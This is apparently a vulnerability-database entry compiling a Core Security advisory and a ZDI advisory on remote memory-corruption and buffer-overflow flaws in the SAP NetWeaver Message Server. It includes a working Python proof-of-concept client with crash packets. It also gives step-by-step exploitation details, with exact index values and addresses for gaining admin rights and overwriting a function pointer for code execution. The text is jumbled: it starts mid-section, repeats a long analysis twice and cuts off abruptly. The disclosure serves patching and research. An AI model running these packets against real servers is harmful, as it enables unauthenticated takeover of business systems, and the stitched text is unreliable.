vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published. 10. *References* [1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. [4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. [5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-111 June 28, 2012 - -- CVE ID: - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: SAP - -- Affected Products: SAP NetWeaver - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407. - -- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40 - -- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-28 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * e6af8de8b1d4b2b6d5ba2610cbf9cd38 - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBT+yszFVtgMGTo1scAQLv/wf+MRiEiaRsMyaVgI7MTDUo9sXprBObQ6QM yIlVyGLjwEQrO9KsUMlCj/pfLkgjcHYpCNxcrB0+6ZgtphkIQhrB3w0sj/fjRyn1 Vuugvjazu8xffqujZ2ymaQHR+toaQjeKrtWvVbaTdJI6EFuUi+qT5MrZQfRWhE2X uqXdLphMXYH+SRhNtD+zJhxg4U4emVvirqNJa9YLwFE0UpxGRksKCB4Cx89o2QWE NiC9bPznAVCMOBh/R/8uROXkg1Jg9YBhEu7wzJY95Yfsl4oWpSO0cQOCF0WAWiHi TsUy3xHAjW7gMz7v/QMleok6C/7safK/7qjJRMDrGUQO1csmlZUkAg== =FVga -----END PGP SIGNATURE-----
var-202001-0832 A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. The vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum 